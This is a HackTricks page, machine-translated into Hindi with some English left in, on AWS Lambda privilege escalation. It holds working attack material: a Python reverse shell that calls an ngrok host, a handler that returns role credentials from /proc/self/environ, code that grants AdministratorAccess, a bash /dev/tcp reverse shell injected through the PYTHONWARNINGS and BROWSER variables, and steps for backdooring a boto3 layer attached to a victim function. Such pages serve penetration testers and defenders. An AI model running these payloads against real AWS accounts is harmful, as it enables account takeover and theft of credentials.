AWS - Lambda Privesc

Support HackTricks

lambda

lambda के बारे में अधिक जानकारी:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, और lambda:InvokeFunction अनुमतियों वाले उपयोगकर्ता अपनी विशेषताओं को बढ़ा सकते हैं। वे एक नया Lambda फ़ंक्शन बना सकते हैं और उसे एक मौजूदा IAM भूमिका सौंप सकते हैं, जिससे फ़ंक्शन को उस भूमिका से संबंधित अनुमतियाँ मिलती हैं। उपयोगकर्ता फिर इस Lambda फ़ंक्शन में कोड लिख और अपलोड कर सकते हैं (उदाहरण के लिए एक rev shell)। एक बार फ़ंक्शन सेटअप हो जाने के बाद, उपयोगकर्ता इसके निष्पादन को ट्रिगर कर सकते हैं और AWS API के माध्यम से Lambda फ़ंक्शन को कॉल करके इच्छित क्रियाएँ कर सकते हैं। यह दृष्टिकोण प्रभावी रूप से उपयोगकर्ता को Lambda फ़ंक्शन के माध्यम से अप्रत्यक्ष रूप से कार्य करने की अनुमति देता है, जो कि इससे संबंधित IAM भूमिका द्वारा दी गई पहुँच के स्तर के साथ कार्य करता है।\

एक हमलावर इसका दुरुपयोग करके rev shell प्राप्त कर सकता है और टोकन चुरा सकता है:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

आप lambda भूमिका अनुमतियों का दुरुपयोग भी कर सकते हैं जो lambda फ़ंक्शन से ही हैं। यदि lambda भूमिका में पर्याप्त अनुमतियाँ हैं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते हैं:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के लम्ब्डा की भूमिका क्रेडेंशियल्स लीक किए जाएं। यह नेटवर्क आइसोलेटेड लम्ब्डास के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको लम्ब्डा के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा।

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

संभावित प्रभाव: निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

ध्यान दें कि भले ही यह दिलचस्प लग सकता है lambda:InvokeAsync अपने आप aws lambda invoke-async को निष्पादित करने की अनुमति नहीं देता, आपको lambda:InvokeFunction भी चाहिए।

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

पिछले परिदृश्य की तरह, आप lambda:InvokeFunction अनुमति अपने आप को प्रदान कर सकते हैं यदि आपके पास अनुमति lambda:AddPermission है।

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

संभावित प्रभाव: निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे विशेषाधिकार वृद्धि।

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

जिन उपयोगकर्ताओं के पास iam:PassRole, lambda:CreateFunction, और lambda:CreateEventSourceMapping अनुमतियाँ हैं (और संभावित रूप से dynamodb:PutItem और dynamodb:CreateTable) वे विशेषाधिकारों को बढ़ा सकते हैं भले ही उनके पास lambda:InvokeFunction न हो। वे दुष्ट कोड के साथ एक लैम्ब्डा फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं

लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका स्थापित करता है या उसका उपयोग करता है, इसे लैम्ब्डा के साथ एक इवेंट स्रोत मैपिंग के माध्यम से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर स्वचालित रूप से सक्रिय हो जाता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार लैम्ब्डा फ़ंक्शन को अप्रत्यक्ष रूप से सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना।

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता केवल Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

अब यह संभव है Lambda फ़ंक्शन को DynamoDB तालिका से कनेक्ट करना एक इवेंट स्रोत मैपिंग बनाकर:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda फ़ंक्शन को DynamoDB स्ट्रीम से लिंक करके, हमलावर DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है। यह DynamoDB तालिका में एक आइटम डालकर किया जा सकता है:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

संभावित प्रभाव: निर्दिष्ट लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

lambda:AddPermission

इस अनुमति के साथ एक हमलावर अपने लिए (या दूसरों के लिए) कोई भी अनुमति प्रदान कर सकता है (यह संसाधन आधारित नीतियों को उत्पन्न करता है ताकि संसाधन तक पहुंच प्रदान की जा सके):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

संभावित प्रभाव: कोड को संशोधित करने और इसे चलाने की अनुमति देकर लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

lambda:AddLayerVersionPermission

इस अनुमति के साथ एक हमलावर अपने लिए (या दूसरों के लिए) अनुमति lambda:GetLayerVersion प्रदान कर सकता है। वह लेयर तक पहुँच सकता है और कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है।

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

संभावित प्रभाव: संवेदनशील जानकारी तक संभावित पहुंच।

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode अनुमति रखने वाले उपयोगकर्ताओं के पास IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की क्षमता है। हमलावर IAM क्रेडेंशियल्स को निकालने के लिए Lambda के कोड को संशोधित कर सकता है।

हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पहले से मौजूद और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा वर्कफ़्लो या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है।

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

संभावित प्रभाव: उपयोग की जाने वाली लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

lambda:UpdateFunctionConfiguration

env वेरिएबल्स के माध्यम से RCE

इन अनुमतियों के साथ, पर्यावरण वेरिएबल्स जोड़ना संभव है जो लैम्ब्डा को मनमाने कोड को निष्पादित करने का कारण बनेंगे। उदाहरण के लिए, पायथन में पर्यावरण वेरिएबल्स PYTHONWARNING और BROWSER का दुरुपयोग करके एक पायथन प्रक्रिया को मनमाने आदेश निष्पादित करने के लिए मजबूर किया जा सकता है:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य env वेरिएबल्स हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें:

Lambda Layers के माध्यम से RCE

Lambda Layers आपको अपने लैम्ब्डा फ़ंक्शन में कोड शामिल करने की अनुमति देता है लेकिन इसे अलग से स्टोर करता है, ताकि फ़ंक्शन कोड छोटा रह सके और कई फ़ंक्शन कोड साझा कर सकें

लैम्ब्डा के अंदर आप एक फ़ंक्शन के साथ उन पथों की जांच कर सकते हैं जहाँ से पायथन कोड लोड किया जाता है:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

ये स्थान हैं:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

उदाहरण के लिए, पुस्तकालय boto3 को /var/runtime/boto3 (4थी स्थिति) से लोड किया जाता है।

शोषण

lambda:UpdateFunctionConfiguration अनुमति का दुरुपयोग करके एक नया लेयर जोड़ना संभव है। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ पुस्तकालय होना चाहिए जिसे लैम्ब्डा आयात करने जा रहा है। यदि आप लैम्ब्डा का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि लैम्ब्डा पहले से ही एक लेयर का उपयोग कर रहा है और आप लेयर डाउनलोड कर सकते हैं और अपना कोड वहां जोड़ सकते हैं।

उदाहरण के लिए, मान लीजिए कि लैम्ब्डा पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा:

pip3 install -t ./lambda_layer boto3

आप ./lambda_layer/boto3/__init__.py खोल सकते हैं और वैश्विक कोड में बैकडोर जोड़ सकते हैं (उदाहरण के लिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए या एक रिवर्स शेल प्राप्त करने के लिए)।

फिर, उस ./lambda_layer निर्देशिका को ज़िप करें और अपने खाते में नया लैम्ब्डा लेयर अपलोड करें (या पीड़ित के खाते में, लेकिन आपके पास इसके लिए अनुमतियाँ नहीं हो सकती हैं)। ध्यान दें कि आपको एक पायथन फ़ोल्डर बनाना होगा और वहां पुस्तकालयों को रखना होगा ताकि /opt/python/boto3 को ओवरराइड किया जा सके। इसके अलावा, लेयर को लैम्ब्डा द्वारा उपयोग किए जाने वाले पायथन संस्करण के साथ संगत होना चाहिए और यदि आप इसे अपने खाते में अपलोड करते हैं, तो यह समान क्षेत्र में होना चाहिए:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

अब, अपलोड की गई लैम्ब्डा लेयर को किसी भी खाते द्वारा सुलभ बनाएं:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

और पीड़ित लैम्ब्डा फ़ंक्शन से लैम्ब्डा लेयर को संलग्न करें:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

The next step would be to either invoke the function ourselves if we can or to wait until यह invoke होता है by normal means–which is the safer method.

A more stealth way to exploit this vulnerability can be found in:

AWS - Lambda Layers Persistence

Potential Impact: Direct privesc to the lambda service role used.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!

Lambda MitM

Some lambdas are going to be उपयोगकर्ताओं से संवेदनशील जानकारी प्राप्त कर रहे हैं। If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:

AWS - Steal Lambda Requests

References

Support HackTricks

Last updated